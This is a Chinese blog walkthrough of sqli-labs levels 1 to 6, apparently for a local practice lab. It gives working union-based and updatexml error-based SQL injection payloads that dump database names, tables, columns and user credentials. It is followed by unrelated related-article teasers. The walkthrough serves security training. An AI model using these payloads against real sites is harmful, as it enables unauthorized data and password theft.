sqli-labs-master less1-less6

news2024/9/26 5:25:15

目录

通关前必看

1、判断是否存在sql注入以及是字符型还是数值型:

2、各种注入方式以及方法

有回显型:

报错注入(只有'ok'和'no'的提示以及报错提示):

详细思路,后面的题都可以这样去思考

关卡实操

less1

less2

less3

less4

less5

less6



通关前必看

在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)

1、判断是否存在sql注入以及是字符型还是数值型:

方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2

比如127.0.0.1/sqli-labs-master/Less-1/?id=   当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。

2、各种注入方式以及方法

有回显型:

1‘ order by n 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。

-1’  union select 1,2,database()  爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)

-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' 爆出表名,且在一行显示;

还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名'  limit 0,1 (只能显示第一个表,通过改变limit 0,1 来获取更多表名)

-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名' 爆出某张表的字段名

-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据


报错注入(只有'ok'和'no'的提示以及报错提示):

先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……

固定语句:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+中间的括号里面写需要执行的select语句。


详细思路,后面的题都可以这样去思考

 1、我们在传参处随便输入个数字,比如1,发现有回显,且没有报错。然后在后面再加上 and 1=1没有变化,再换成and1=2,如果回显没有变化,可以判断这里输入值被当作字符串处理了,所以是字符型;如果回显发生了变化,则是数值型。
2、下一步是判断是单引号闭合还是双引号闭合,删去上一步的and语句,我们在输入的1后面加上单引号,如果报错了,说明是单引号闭合, where id =‘ 1’   ……;多出来的单引号会报错;如果没有报错,说明是双引号闭合,输入的单引号被当作参数处理了, where id =“ 1’   ……;
3、判断好闭合后,我们在后面加上注释符 # (post型传参)或者--+(get型传参)将之后的其他判断语句注释掉,如果没有报错,就可以进行数据库爆破了。
4、如果出错了,很可能是原数据库语句中加了括号 where id =(‘ 1’  ) ……;那我们就还需要将前面的括号闭合,在输入的引号后面加上右括号,直至不报错为止。


关卡实操


less1

输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:

输入1’ 报错,判断是单引号闭合:

在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:

开始爆破数据库:

?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:

爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :

爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  可以看到,有emails,referers,uagents,users四张表:

爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:

爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+

接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。


less2

这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:

后面加上注释--+发现回显正常,说明没有括号:

接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:

爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:

同样的方法爆出其他的数据:

表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less3

同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:

我们在引号后面加上一个右括号,发现回显正常了:

之后爆数据库:

?id=1') order by 3--+判断有三处回显

数据库名?id =0') union select 1,2,database()--+

表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less4

同样的方法判断出字符型;

当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):

我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:

后面加上注释--+,发现报错,说明有括号没有闭合:

我们在双引号后面加上一个右括号,发现回显正常了:

接下来一样的方法爆数据库:

?id=1") order by 3--+判断有三处回显

数据库名:?id=0") union select 1,2,database()--+

表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less5

这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。

同样的方法判断出这里是字符型,单引号闭合。

然后用updatexml()报错函数来爆破数据库:

固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+最中间的括号里填查询语句。

爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+

爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+


less6

同less5要用报错注入

同样的方法判断出这里是字符型,双引号闭合。

爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+

爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1971015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue2中使用jsx基础

1、基本的模板 <script lang"jsx"> export default {name: demo1,// 数据定义data() {return {info: {age: 18,}}},created() {},methods: {},render() {return (<div><div>我是小明&#xff0c;今年{this.info.age}</div></div>)} }…

逐行重现 GPT-2:第 2 部分 - 硬件优化

Andrej Karpathy 的“让我们重现 GPT-2 (124M)”第 2 部分中的硬件优化 欢迎来到雲闪世界。为了撰写这篇博文&#xff0c;我在 Google Colab 免费提供的 NVIDIA T4 GPU 和 Lambda Labs 的 NVIDIA A100 GPU 40GB SXM4 上都进行了优化。Karpathy 介绍的大多数优化都是针对 A100 或…

MES系统在数字化转型中的核心作用与影响

数字化转型是企业利用数字技术改变其业务模式、运营方式、组织结构、产品服务等方面的过程&#xff0c;旨在提高效率、降低成本、增强竞争力并实现可持续发展。数字化转型涉及多个层面&#xff0c;主要包括以下几个方面&#xff1a; 数字化转型转什么 转战略&#xff1a;由构…

VLC实现视频文件转RTSP流

1.选择本地文件 2.创建流 现在已经开始推流了&#xff1a; 3.播放上面创建的流 访问地址&#xff1a;rtsp://:8554/test111

OJ-0802

题目 分析 要点&#xff1a;在排队的基础上移动学生位置&#xff0c;实现要求的分组&#xff0c;分组的顺序不做要求&#xff0c;求移动学生次数的最小值。 实现方案&#xff1a;考虑Map 参考 解题思路&#xff1a; 1.建立索引字典:将学生目前排队情况转换成索引字典,其中键…

使用Git管理ECAD软件元器件库

在日常工作中&#xff0c;很多工程师习惯维护和使用自己的元器件库&#xff0c;这样可以方便的查找和使用元器件。但是&#xff0c;如果元器件库中的元器件数量较多&#xff0c;且元器件的版本较多&#xff0c;那么维护元器件库就会变得非常困难。还有&#xff0c;企业中的研发…

基于JAVA的进销存管理系统的设计与实现

点击下载源码 基于JAVA的进销存管理系统的设计与实现 摘 要 进入21世纪以来&#xff0c;商业管理中需要处理的数据和信息越来越多。大量的数据和繁杂的数据使得古老的手工处理数据的方式渐渐显得力不从心。甚至有些信息处理的方式在手工处理的模式下是根本无法是实现的&…

ggplot2 添加文字信息,设置黑体、斜体、旋转、对齐

目的&#xff1a;图中添加文字。 1. 每个点都添加文字 效果不好。 保持文字颜色和点一致&#xff0c;就没法斜体。 设置斜体&#xff0c;就没法保持文字颜色。 library(ggplot2) p1ggplot(iris, aes(Sepal.Length, Sepal.Width, colorSpecies))geom_point(size1.5)theme_cl…

HarmonyOS入门

HarmonyOS 系统定义 HarmonyOS 是一款面向万物互联时代的、全新的分布式操作系统。 Harmony提出了基于同一套系统能力、适配多种终端形态的分布式理念&#xff0c;能够支持手机、平板、智能穿戴、智慧屏、车机等多种终端设置&#xff0c;提供全场景&#xff08;移动办公、运动…

QCA2066 Linux下5g 6g自适应测试方法

注意事项:如需要重启pc,需要执行rmmod wlan.ko和rmmod wlan_cnss_core_pcie.ko命令,然后重启。测试底板上电过程,需要将底板先插上电源,然后将底板pcie接口插入pc。 5g测试 启动电脑进入红色的标签Advanced options Ubuntu,然后回车 选择Ubuntu,with Linux 4.9.11+的内…

86. UE5 RPG 技能面板实现监听数据

在上一篇文章里&#xff0c;我们创建了技能面板的控制器&#xff0c;接下来&#xff0c;我们将实现通过控制器绑定委托&#xff0c;来更新显示内容。 更新技能面板应用的技能 我们首先更新技能面板上面已经应用的技能&#xff0c;让其和WBP_Overlay上面一样&#xff0c;可以更…

从零开始掌握tcpdump:参数详解

Linux tcpdump命令详解 1. 语法 tcpdump [-adeflnnNOpqStvxX] [-c <数据包数目>] [-dd] [-ddd] [-F <表达文件>] [-i <网络界面>] [-r <数据包文件>] [-s <数据包大小>] [-tt] [-T <数据包类型>] [-vv] [-w <数据包文件>] [输出数…

https执行过程,特点,作用

还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#xff0c;webgl&#xff0c;ech…

免费的短剧机器人,一键获取资源,每日自动更新,自动转存+定时删除!

今天分享一个免费的短剧机器人&#xff0c;配合网盘拉新可实现变现的项目&#xff01;可以轻松实现全自动化&#xff0c;解放双手&#xff01; 具体怎么实现&#xff0c;我们往下看&#xff1a; 我经常说&#xff0c;想赚钱&#xff0c;离不开人性! 短剧为啥火呢&#xff1f;…

深入学习并发编程中的synchronized

第一章:并发编程中的三个问题 可见性 可见性概念 可见性( Visibility ):是指一个线程对共享变量进行修改,另一个先立即得到修改后的最新值。 可见性演示 案例演示:一个线程根据 boolean 类型的标记 flag , while 循环,另一个线程改变这个 flag 变量的值,另 一个线…

【C++BFS算法 二分查找】1631. 最小体力消耗路径

本文涉及知识 CBFS算法 C二分查找 LeetCode1631. 最小体力消耗路径 你准备参加一场远足活动。给你一个二维 rows x columns 的地图 heights &#xff0c;其中 heights[row][col] 表示格子 (row, col) 的高度。一开始你在最左上角的格子 (0, 0) &#xff0c;且你希望去最右下…

【无标题】智能加速计算卡设计原理图:628-基于VU3P的双路100G光纤加速计算卡 XCVU3P板卡

基于VU3P的双路100G光纤加速计算卡 一、板卡概述 基于Xilinx UltraScale16 nm VU3P芯片方案基础上研发的一款双口100 G FPGA光纤以太网PCI-Express v3.0 x16智能加速计算卡&#xff0c;北京太速科技该智能卡拥有高吞吐量、低延时的网络处理能力以及辅助CPU进行网络功…

【深入探秘Hadoop生态系统】全面解析各组件及其实际应用

深入探秘Hadoop生态系统&#xff1a;全面解析各组件及其实际应用 引言 在大数据时代&#xff0c;如何高效处理和存储海量数据成为企业面临的重大挑战。根据Gartner的统计&#xff0c;到2025年&#xff0c;全球数据量将达到175泽字节&#xff08;ZB&#xff09;&#xff0c;传…

07 输入捕获和编码器接口

前言 前面介绍了定时器和输出比较&#xff0c;这一节主要介绍一下输入捕获测量输入频率和PWM占空比&#xff0c;然后介绍一下编码器接口。 一、输入捕获 1.什么是输入捕获 当输入的引脚有指定电平跳变时&#xff0c;会将计数器CNT中的值保存在CCR中&#xff0c;这个就称为输…

JDK 1.8从下载、安装、配置、以及检查是否安装成功,最详细教学教程

参考&#xff1a; JDK1.8下载、安装和环境配置教程(2024年6月5日)-CSDN博客 以下所有步骤&#xff0c;jjycheng作者亲测,所以截图是我自己截取的&#xff0c;和原文略有不同。这也是为什么我可耻的选择“原创”的原因。。。哈哈。。。 一、下载安装包 链接&#xff1a;https:/…